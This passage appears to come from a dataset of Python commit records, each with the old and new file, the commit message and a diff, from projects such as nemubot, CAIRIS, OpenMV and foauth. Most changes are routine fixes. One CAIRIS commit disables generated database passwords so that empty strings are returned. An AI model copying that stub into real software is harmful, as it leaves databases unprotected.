print ("Bye")
sys.exit(0)
| Load files given in arguments | Load files given in arguments
| Python | agpl-3.0 | nemunaire/nemubot,nbr23/nemubot,Bobobol/nemubot-1 | ---
+++
@@ -8,8 +8,13 @@
servers = dict()
+prompt = __import__ ("prompt")
+
+if len(sys.argv) >= 2:
+ for arg in sys.argv[1:]:
+ prompt.load_file(arg, servers)
+
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
-prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt) |
05ec1e93e04b829b8a71f6837409de1b5c8ead5d | bndl/compute/tests/__init__.py | bndl/compute/tests/__init__.py | import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.net.listen_addresses'] = 'tcp://127.0.0.11:5000'
cls.ctx = create_ctx(config, daemon=True)
cls.ctx.await_workers(cls.worker_count)
@classmethod
def tearDownClass(cls):
cls.ctx.stop()
class DatasetTest(ComputeTest):
pass
| import sys
import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
# Increase switching interval to lure out race conditions a bit ...
cls._old_switchinterval = sys.getswitchinterval()
sys.setswitchinterval(1e-6)
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.net.listen_addresses'] = 'tcp://127.0.0.11:5000'
cls.ctx = create_ctx(config, daemon=True)
cls.ctx.await_workers(cls.worker_count)
@classmethod
def tearDownClass(cls):
cls.ctx.stop()
sys.setswitchinterval(cls._old_switchinterval)
class DatasetTest(ComputeTest):
pass
| Increase switching interval to lure out race conditions a bit ... | Increase switching interval to lure out race conditions a bit ...
| Python | apache-2.0 | bndl/bndl,bndl/bndl | ---
+++
@@ -1,3 +1,4 @@
+import sys
import unittest
from bndl.compute.run import create_ctx
@@ -9,6 +10,10 @@
@classmethod
def setUpClass(cls):
+ # Increase switching interval to lure out race conditions a bit ...
+ cls._old_switchinterval = sys.getswitchinterval()
+ sys.setswitchinterval(1e-6)
+
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.net.listen_addresses'] = 'tcp://127.0.0.11:5000'
@@ -18,6 +23,7 @@
@classmethod
def tearDownClass(cls):
cls.ctx.stop()
+ sys.setswitchinterval(cls._old_switchinterval)
class DatasetTest(ComputeTest): |
de841f77f6c3eaf60e563fd5cac0d9cb73dac240 | cairis/core/PasswordManager.py | cairis/core/PasswordManager.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from random import choice
from string import ascii_letters, digits
import secretstorage
from keyring import set_password, get_password
__author__ = 'Shamal Faily'
def setDatabasePassword(dbUser):
rp = ''.join(choice(ascii_letters + digits) for i in range(32))
set_password('cairisdb',dbUser,rp)
return rp
def getDatabasePassword(dbUser):
return get_password('cairisdb',dbUser)
| # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from random import choice
from string import ascii_letters, digits
import secretstorage
from keyring import set_password, get_password
__author__ = 'Shamal Faily'
def setDatabasePassword(dbUser):
# rp = ''.join(choice(ascii_letters + digits) for i in range(32))
# set_password('cairisdb',dbUser,rp)
# return rp
return ''
def getDatabasePassword(dbUser):
# return get_password('cairisdb',dbUser)
return ''
| Revert database password policy while problems with keyring investigated | Revert database password policy while problems with keyring investigated
| Python | apache-2.0 | failys/CAIRIS,failys/CAIRIS,failys/CAIRIS | ---
+++
@@ -24,9 +24,11 @@
__author__ = 'Shamal Faily'
def setDatabasePassword(dbUser):
- rp = ''.join(choice(ascii_letters + digits) for i in range(32))
- set_password('cairisdb',dbUser,rp)
- return rp
+# rp = ''.join(choice(ascii_letters + digits) for i in range(32))
+# set_password('cairisdb',dbUser,rp)
+# return rp
+ return ''
def getDatabasePassword(dbUser):
- return get_password('cairisdb',dbUser)
+# return get_password('cairisdb',dbUser)
+ return '' |
fddefb670bb3df3472c43d0298fecefcf1b02234 | scripts/examples/Arduino/Portenta-H7/02-Board-Control/vsync_gpio_output.py | scripts/examples/Arduino/Portenta-H7/02-Board-Control/vsync_gpio_output.py | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sensor.QVGA) # Set frame size to QVGA (320x240)
# This pin will be toggled on/off on VSYNC rising and falling edges.
led_pin = Pin('LED_BLUE', Pin.OUT_PP, Pin.PULL_NONE)
sensor.set_vsync_callback(lambda state, led=led_pin: led_pin.value(state))
clock = time.clock() # Create a clock object to track the FPS.
while(True):
clock.tick() # Update the FPS clock.
img = sensor.snapshot() # Take a picture and return the image.
print(clock.fps()) # Note: OpenMV Cam runs about half as fast when connected
# to the IDE. The FPS should increase once disconnected.
| # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sensor.QVGA) # Set frame size to QVGA (320x240)
# This pin will be toggled on/off on VSYNC rising and falling edges.
led_pin = Pin('LEDB', Pin.OUT_PP, Pin.PULL_NONE)
sensor.set_vsync_callback(lambda state, led=led_pin: led_pin.value(state))
clock = time.clock() # Create a clock object to track the FPS.
while(True):
clock.tick() # Update the FPS clock.
img = sensor.snapshot() # Take a picture and return the image.
print(clock.fps()) # Note: OpenMV Cam runs about half as fast when connected
# to the IDE. The FPS should increase once disconnected.
| Fix VSYNC GPIO LED pin name. | scripts/examples: Fix VSYNC GPIO LED pin name.
| Python | mit | kwagyeman/openmv,kwagyeman/openmv,openmv/openmv,openmv/openmv,openmv/openmv,kwagyeman/openmv,kwagyeman/openmv,openmv/openmv | ---
+++
@@ -10,7 +10,7 @@
sensor.set_framesize(sensor.QVGA) # Set frame size to QVGA (320x240)
# This pin will be toggled on/off on VSYNC rising and falling edges.
-led_pin = Pin('LED_BLUE', Pin.OUT_PP, Pin.PULL_NONE)
+led_pin = Pin('LEDB', Pin.OUT_PP, Pin.PULL_NONE)
sensor.set_vsync_callback(lambda state, led=led_pin: led_pin.value(state))
clock = time.clock() # Create a clock object to track the FPS. |
3966d9e77455f36a159d960242849e59ac323c0a | ed2d/physics/physengine.py | ed2d/physics/physengine.py | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree.clear()
self.pObjects = []
self.returnObjects = []
def simulate(self, delta):
'''Update all the objects'''
# Update the quad tree
self.quadTree.clear()
for item in self.pObjects:
self.quadTree.insert(item)
# Pass this for a while, this basically add velocity to objects
# But is kinda of a stupid way to do
'''
for i in range(len(self.pObjects)):
self.pObjects[i].update(delta)
'''
# Run collision check
self.collisions()
def collisions(self):
objects = []
self.quadTree.retriveAll(objects)
for x in range(len(objects)):
obj = []
self.quadTree.findObjects(obj, objects[x])
for y in range(len(obj)):
objects[x].getCollisionModel().intersect(obj[y].getCollisionModel())
del obj[:]
del objects[:]
def addObject(self, p_object):
self.quadTree.insert(p_object)
self.pObjects.append(p_object)
def getObject(self, index):
return self.pObjects[index]
def getLength(self):
return len(self.pObjects) | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree.clear()
self.pObjects = []
self.returnObjects = []
def simulate(self, delta):
'''Update all the objects'''
# Update the quad tree
self.quadTree.clear()
for item in self.pObjects:
self.quadTree.insert(item)
# Pass this for a while, this basically add velocity to objects
# But is kinda of a stupid way to do
# for i in range(len(self.pObjects)):
# self.pObjects[i].update(delta)
# Run collision check
self.collisions()
def collisions(self):
objects = []
self.quadTree.retriveAll(objects)
for x in range(len(objects)):
obj = []
self.quadTree.findObjects(obj, objects[x])
for y in range(len(obj)):
objects[x].getCollisionModel().intersect(obj[y].getCollisionModel())
del obj[:]
del objects[:]
def addObject(self, p_object):
self.quadTree.insert(p_object)
self.pObjects.append(p_object)
def getObject(self, index):
return self.pObjects[index]
def getLength(self):
return len(self.pObjects)
| Change multi line string to be regular comment. | Change multi line string to be regular comment.
| Python | bsd-2-clause | explosiveduck/ed2d,explosiveduck/ed2d | ---
+++
@@ -19,10 +19,8 @@
# Pass this for a while, this basically add velocity to objects
# But is kinda of a stupid way to do
- '''
- for i in range(len(self.pObjects)):
- self.pObjects[i].update(delta)
- '''
+ # for i in range(len(self.pObjects)):
+ # self.pObjects[i].update(delta)
# Run collision check
self.collisions() |
7fad37d5a1121fe87db8946645043cd31a78b093 | pi_gpio/events.py | pi_gpio/events.py | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
'BOTH': self.gpio.BOTH
}
def build_event_callback(self, num, name, event):
def event_callback(num):
data = {
'num': num,
'name': name,
'event': event
}
self.socketio.emit('pin:event', data)
print(data)
return event_callback
def register_gpio_events(self):
for num, config in self.pins.items():
event = config.get('event', None)
name = config.get('name', '')
if event:
edge = self.edge[event]
bounce = config['bounce']
cb = self.build_event_callback(num, name, event)
self.gpio.add_event_detect(num, edge, callback=cb, bouncetime=bounce)
| from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
'BOTH': self.gpio.BOTH
}
def build_event_callback(self, num, name, event):
def event_callback(num):
data = {
'num': num,
'name': name,
'event': event
}
self.socketio.emit('pin:event', data)
print(data)
return event_callback
def register_gpio_events(self):
for num, config in self.pins.items():
event = config.get('event', None)
name = config.get('name', '')
if event:
edge = self.edge[event]
bounce = config.get('bounce', -666)
cb = self.build_event_callback(num, name, event)
self.gpio.add_event_detect(num, edge, callback=cb, bouncetime=bounce)
| Set the default bouncetime value to -666 | Set the default bouncetime value to -666
Set the default bouncetime to -666 (the default value -666 is in Rpi.GPIO source code).
As-Is: if the bouncetime is not set, your setting for event detecting is silently down. And there is no notification that bouncetime is required. | Python | mit | projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server | ---
+++
@@ -30,6 +30,6 @@
name = config.get('name', '')
if event:
edge = self.edge[event]
- bounce = config['bounce']
+ bounce = config.get('bounce', -666)
cb = self.build_event_callback(num, name, event)
self.gpio.add_event_detect(num, edge, callback=cb, bouncetime=bounce) |
61241b16d3bcef221ab07efe8e12d7ec7c2b6e64 | labonneboite/common/siret.py | labonneboite/common/siret.py |
def is_siret(siret):
# A valid SIRET is composed by 14 digits
try:
int(siret)
except ValueError:
return False
return len(siret) == 14
|
def is_siret(siret):
# A valid SIRET is composed by 14 digits
return len(siret) == 14 and siret.isdigit()
| Use isdigit() instead of int() | Use isdigit() instead of int()
| Python | agpl-3.0 | StartupsPoleEmploi/labonneboite,StartupsPoleEmploi/labonneboite,StartupsPoleEmploi/labonneboite,StartupsPoleEmploi/labonneboite | ---
+++
@@ -1,9 +1,4 @@
def is_siret(siret):
# A valid SIRET is composed by 14 digits
- try:
- int(siret)
- except ValueError:
- return False
-
- return len(siret) == 14
+ return len(siret) == 14 and siret.isdigit() |
d901683430c8861b88b577965201bb7acf17e7f8 | print_version.py | print_version.py | """
Get the version string from versioneer and print it to stdout
"""
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'master':
# When downloading a zip from Github, versioneer gets the version from the
# directory name in the zip file. That would endup being 'master'. More
# useful would be the commit hash. The pattern below will be replaced by
# git when 'git archive' is called
version = '$Format:%H$'
if __name__ == '__main__':
print(version)
| """
Get the version string from versioneer and print it to stdout
"""
import sys
import os
# Make sure versioneer is imported from here
here = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, here)
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'master':
# When downloading a zip from Github, versioneer gets the version from the
# directory name in the zip file. That would endup being 'master'. More
# useful would be the commit hash. The pattern below will be replaced by
# git when 'git archive' is called
version = '$Format:%H$'
if __name__ == '__main__':
print(version)
| Make sure versioneer is imported from here | Make sure versioneer is imported from here
| Python | bsd-3-clause | leouieda/tesseroids,leouieda/tesseroids,leouieda/tesseroids | ---
+++
@@ -1,6 +1,12 @@
"""
Get the version string from versioneer and print it to stdout
"""
+import sys
+import os
+
+# Make sure versioneer is imported from here
+here = os.path.dirname(os.path.abspath(__file__))
+sys.path.insert(0, here)
import versioneer
versioneer.VCS = 'git' |
9fededb99a02ee38cba9b02e511b1db071f37fc4 | pygout/format.py | pygout/format.py | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__name__.lower()
def read(self, stream):
"""Read style from *stream* according to the format.
"""
raise NotImplementedError
def write(self, stream):
"""Write style to *stream* according to the format.
"""
raise NotImplementedError
class PluginError(Exception):
pass
def find_formats():
plugins = plugin_load('pygout.formats', subclasses=Format)
formats = {}
for p in plugins:
if p.name() in formats:
raise PluginError(('Duplicate format: '
'{e.__module__}.{e.__name__} and '
'{n.__module__}.{n.__name__}').format(e=formats[p.name()],
n=p))
else:
formats[p.name()] = p
return formats
| from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__name__.lower()
def read(self, stream):
"""Read style from *stream* according to the format.
"""
raise NotImplementedError
def write(self, style, stream):
"""Write *style* to *stream* according to the format.
"""
raise NotImplementedError
class PluginError(Exception):
pass
def find_formats():
plugins = plugin_load('pygout.formats', subclasses=Format)
formats = {}
for p in plugins:
if p.name() in formats:
raise PluginError(('Duplicate format: '
'{e.__module__}.{e.__name__} and '
'{n.__module__}.{n.__name__}').format(e=formats[p.name()],
n=p))
else:
formats[p.name()] = p
return formats
| Fix stupid oops in Format interface | Fix stupid oops in Format interface
| Python | bsd-3-clause | alanbriolat/PygOut | ---
+++
@@ -19,8 +19,8 @@
"""
raise NotImplementedError
- def write(self, stream):
- """Write style to *stream* according to the format.
+ def write(self, style, stream):
+ """Write *style* to *stream* according to the format.
"""
raise NotImplementedError
|
6ca530abba63376dab254d649ab568895917bfbd | tests/example.py | tests/example.py | import unittest
class ExampleTest(unittest.TestCase):
def test_xample(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
| import unittest
class ExampleTest(unittest.TestCase):
def test_example(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
| Fix typo in method name | Fix typo in method name | Python | mit | pawel-lewtak/coding-dojo-template-python | ---
+++
@@ -2,7 +2,7 @@
class ExampleTest(unittest.TestCase):
- def test_xample(self):
+ def test_example(self):
self.assertEqual(1, 1)
if __name__ == '__main__': |
8034684b9c1c798b9f825111df53415a1a3ff9eb | pymogilefs/connection.py | pymogilefs/connection.py | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))
self._sock.settimeout(TIMEOUT)
def _recv_all(self):
response_text = b''
while True:
response_text += self._sock.recv(BUFSIZE)
if response_text[-2:] == b'\r\n':
break
return response_text.decode()
def do_request(self, request):
assert isinstance(request, Request)
self._sock.send(bytes(request))
response_text = self._recv_all()
self._sock.close()
return Response(response_text, request.config)
| from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))
self._sock.settimeout(TIMEOUT)
def _recv_all(self):
response_text = b''
while True:
received = self._sock.recv(BUFSIZE)
if received == b'':
break
response_text += received
if response_text[-2:] == b'\r\n':
break
return response_text.decode()
def do_request(self, request):
assert isinstance(request, Request)
self._sock.send(bytes(request))
response_text = self._recv_all()
self._sock.close()
return Response(response_text, request.config)
| Break after receiving no bytes to prevent hanging | Break after receiving no bytes to prevent hanging
| Python | mit | bwind/pymogilefs,bwind/pymogilefs | ---
+++
@@ -20,7 +20,10 @@
def _recv_all(self):
response_text = b''
while True:
- response_text += self._sock.recv(BUFSIZE)
+ received = self._sock.recv(BUFSIZE)
+ if received == b'':
+ break
+ response_text += received
if response_text[-2:] == b'\r\n':
break
return response_text.decode() |
5ae19a951081603d0132e786de041d670203327b | api/models.py | api/models.py | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Model):
choice_id = models.ForeignKey(Choice, on_delete=models.CASCADE)
user_id = models.CharField(max_length=255)
created_on = models.DateTimeField(auto_now_add=True)
class ChoiceSerializer(serializers.ModelSerializer):
class Meta:
model = Choice
fields = ('id', 'text', 'season', 'created_on', 'updated_on',)
class AnswerSerializer(serializers.ModelSerializer):
class Meta:
model = Answer
fields = ('id', 'choice_id', 'user_id', 'created_on',)
| from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Model):
choice = models.ForeignKey(Choice, on_delete=models.CASCADE)
user_id = models.CharField(max_length=255)
created_on = models.DateTimeField(auto_now_add=True)
class ChoiceSerializer(serializers.ModelSerializer):
class Meta:
model = Choice
fields = ('id', 'text', 'season', 'created_on', 'updated_on',)
class AnswerSerializer(serializers.ModelSerializer):
class Meta:
model = Answer
fields = ('id', 'choice_id', 'user_id', 'created_on',)
| Change choice_id field to choice | Change choice_id field to choice
| Python | mit | holycattle/pysqueak-api,holycattle/pysqueak-api | ---
+++
@@ -8,7 +8,7 @@
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Model):
- choice_id = models.ForeignKey(Choice, on_delete=models.CASCADE)
+ choice = models.ForeignKey(Choice, on_delete=models.CASCADE)
user_id = models.CharField(max_length=255)
created_on = models.DateTimeField(auto_now_add=True)
|
7a9d3373fb2e11cad694aa1c65901d6cd57beb7c | tests/test_numba_parallel_issues.py | tests/test_numba_parallel_issues.py |
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one of the scaling tests failing on
OS X with numba 0.35, but it passed on other
platforms, and passed consistently with numba
0.36.
The issue appears to be the same as numba#2609
https://github.com/numba/numba/issues/2609
so we've taken the minimal repro from that issue
and are using it as a unit-test here.
"""
result = get(x)
expected = np.ones((x, 1), dtype=np.float64)
assert np.allclose(expected, result)
if __name__ == '__main__':
import pytest
pytest.main([__file__])
|
import sys
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
# Parallel not supported on 32-bit Windows
parallel = not (sys.platform == 'win32')
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one of the scaling tests failing on
OS X with numba 0.35, but it passed on other
platforms, and passed consistently with numba
0.36.
The issue appears to be the same as numba#2609
https://github.com/numba/numba/issues/2609
so we've taken the minimal repro from that issue
and are using it as a unit-test here.
"""
result = get(x)
expected = np.ones((x, 1), dtype=np.float64)
assert np.allclose(expected, result)
if __name__ == '__main__':
import pytest
pytest.main([__file__])
| Add guard for parallel kwarg on 32-bit Windows | Add guard for parallel kwarg on 32-bit Windows
| Python | mit | fastats/fastats,dwillmer/fastats | ---
+++
@@ -1,9 +1,15 @@
+
+import sys
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
+
+
+# Parallel not supported on 32-bit Windows
+parallel = not (sys.platform == 'win32')
@jit(nopython=True, parallel=True) |
810e3516e5f466a145d649edbb00fc3ade1a7a68 | services/disqus.py | services/disqus.py | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provider
provider_url = 'http://disqus.com/'
docs_url = 'http://disqus.com/api/docs/'
category = 'Social'
# URLs to interact with the API
authorize_url = 'https://disqus.com/api/oauth/2.0/authorize/'
access_token_url = 'https://disqus.com/api/oauth/2.0/access_token/'
api_domain = 'disqus.com'
available_permissions = [
(None, 'read data on your behalf'),
('write', 'write data on your behalf'),
('admin', 'moderate your forums'),
]
bearer_type = token_uri
def get_scope_string(self, scopes):
# Disqus doesn't follow the spec on this point
return ','.join(scopes)
def get_user_id(self, key):
r = self.api(key, self.api_domain, u'/api/3.0/users/details.json')
return r.json[u'response'][u'id']
| from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provider
provider_url = 'http://disqus.com/'
docs_url = 'http://disqus.com/api/docs/'
category = 'Social'
# URLs to interact with the API
authorize_url = 'https://disqus.com/api/oauth/2.0/authorize/'
access_token_url = 'https://disqus.com/api/oauth/2.0/access_token/'
api_domain = 'disqus.com'
available_permissions = [
(None, 'read data on your behalf'),
('write', 'read and write data on your behalf'),
('admin', 'read and write data on your behalf and moderate your forums'),
]
permissions_widget = 'radio'
bearer_type = token_uri
def get_scope_string(self, scopes):
# Disqus doesn't follow the spec on this point
return ','.join(scopes)
def get_user_id(self, key):
r = self.api(key, self.api_domain, u'/api/3.0/users/details.json')
return r.json[u'response'][u'id']
| Rewrite Disqus to use the new scope selection system | Rewrite Disqus to use the new scope selection system
| Python | bsd-3-clause | foauth/foauth.org,foauth/foauth.org,foauth/oauth-proxy,foauth/foauth.org | ---
+++
@@ -21,9 +21,10 @@
available_permissions = [
(None, 'read data on your behalf'),
- ('write', 'write data on your behalf'),
- ('admin', 'moderate your forums'),
+ ('write', 'read and write data on your behalf'),
+ ('admin', 'read and write data on your behalf and moderate your forums'),
]
+ permissions_widget = 'radio'
bearer_type = token_uri
|
8d9c973ed4091e8f0a08c4e5a62f8fe5d35f005a | attributes/history/main.py | attributes/history/main.py | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_id = {0} and c.created_at > 0
'''.format(project_id)
)
result = cursor.fetchone()
num_commits = result[0]
first_commit_date = result[1]
last_commit_date = result[2]
# Compute the number of months between the first and last commit
delta = relativedelta.relativedelta(last_commit_date, first_commit_date)
num_months = delta.years * 12 + delta.months
avg_commits = None
if num_months > options.get('minimumDurationInMonths', 0):
avg_commits = num_commits / num_months
else:
return False, avg_commits
threshold = options.get('threshold', 2)
return avg_commits > threshold, avg_commits
if __name__ == '__main__':
print('Attribute plugins are not meant to be executed directly.')
sys.exit(1)
| import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_id = {0} and c.created_at > 0
'''.format(project_id)
)
result = cursor.fetchone()
num_commits = result[0]
first_commit_date = result[1]
last_commit_date = result[2]
# Compute the number of months between the first and last commit
delta = relativedelta.relativedelta(last_commit_date, first_commit_date)
num_months = delta.years * 12 + delta.months
avg_commits = None
if num_months >= options.get('minimumDurationInMonths', 0):
avg_commits = num_commits / num_months
else:
return False, avg_commits
threshold = options.get('threshold', 2)
return avg_commits > threshold, avg_commits
if __name__ == '__main__':
print('Attribute plugins are not meant to be executed directly.')
sys.exit(1)
| Use >= minimumDurationInMonths instead of > | Use >= minimumDurationInMonths instead of >
| Python | apache-2.0 | RepoReapers/reaper,RepoReapers/reaper,RepoReapers/reaper,RepoReapers/reaper | ---
+++
@@ -23,7 +23,7 @@
num_months = delta.years * 12 + delta.months
avg_commits = None
- if num_months > options.get('minimumDurationInMonths', 0):
+ if num_months >= options.get('minimumDurationInMonths', 0):
avg_commits = num_commits / num_months
else:
return False, avg_commits |
4f9ea66c9e35dd1480986aff75997cd42c5e10f3 | app.py | app.py | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
file = request.files['file']
if file:
filename = os.urandom(30).encode('hex')
while os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], filename)):
filename = os.urandom(30).encode('hex')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return jsonify(filename=filename)
@app.route('/confirm/<filename>/<id>', methods=['POST'])
def confirm(filename, id):
return ''
if __name__ == "__main__":
app.run()
| from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
file = request.files['file']
if file:
filename = os.urandom(30).encode('hex') + '.' + file.filename.split('.')[-1]
while os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], filename)):
filename = os.urandom(30).encode('hex')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return jsonify(filename=filename)
@app.route('/confirm/<filename>/<id>', methods=['POST'])
def confirm(filename, id):
return ''
if __name__ == "__main__":
app.run()
| Include file extension in returned filename | Include file extension in returned filename
| Python | mit | citruspi/Alexandria,citruspi/Alexandria | ---
+++
@@ -17,7 +17,7 @@
if file:
- filename = os.urandom(30).encode('hex')
+ filename = os.urandom(30).encode('hex') + '.' + file.filename.split('.')[-1]
while os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], filename)):
|
cc392b38791e465acb579a7e2f4f9b2f32c70c42 | app.py | app.py | from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
| from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
def parse_reflog():
pass
if __name__ == "__main__":
app.run()
| Add template for parse_reflog function | Add template for parse_reflog function
| Python | bsd-3-clause | kdheepak89/c3.py,kdheepak89/c3.py | ---
+++
@@ -5,5 +5,8 @@
def main():
return "Welcome!"
+def parse_reflog():
+ pass
+
if __name__ == "__main__":
app.run() |
9da4bbe2c5d8dbfe6436ff4fe5e1387178009897 | employees/tests.py | employees/tests.py | from .models import Employee
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password')
def test_employee_creation_without_endpoint(self):
employee1 = Employee.objects.get(email='user1@email.com')
employee2 = Employee.objects.get(username='user2')
self.assertEqual(employee1.username, 'user1')
self.assertEqual(employee2.email, 'user2@email.com')
| from .models import Employee
from categories.models import Category
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Category.objects.create(name='Coworker')
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password')
def test_employee_creation_without_endpoint(self):
employee1 = Employee.objects.get(email='user1@email.com')
employee2 = Employee.objects.get(username='user2')
self.assertEqual(employee1.username, 'user1')
self.assertEqual(employee2.email, 'user2@email.com')
| Fix category dependency for employee creation flow in testing | Fix category dependency for employee creation flow in testing
